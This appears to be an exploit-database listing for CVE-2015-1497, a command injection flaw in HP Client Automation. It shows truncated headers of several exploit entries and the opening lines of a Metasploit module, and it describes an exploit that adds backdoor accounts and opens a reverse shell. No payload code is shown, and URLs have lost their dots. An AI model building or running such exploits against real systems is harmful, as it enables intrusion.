CVE-2015-1497

HP Client Automation remote command injection exploit that adds backdoor accounts and provides a reverse shell Author tested on version 79 but believes it should also work on 81, 90, and 91 ...

# Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability # Date: 2014-10-01 # Exploit Author: Ben Turner # Vendor Homepage: Previosuly HP, now wwwpersistentsyscom/ # Version: 79, 81, 90, 91 # Tested on: Windows XP, Windows 7, Server 2003 and Server 2008 # ...

# Exploit Title: [HP Client - Automation Command Injection] # Date: [10/10/2016] # Exploit Author: [SlidingWindow] , Twitter: @kapil_khot # Vendor Homepage: [Previosuly HP, now wwwpersistentsyscom/] # Version: [Tested on version 79 but should work on 81, 90, 91 too] # Tested on: [Windows 7 and CentOS release 67 (Final)] # CVE : [CVE- ...

## # This module requires Metasploit: metasploitcom/download # Current source: githubcom/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info ...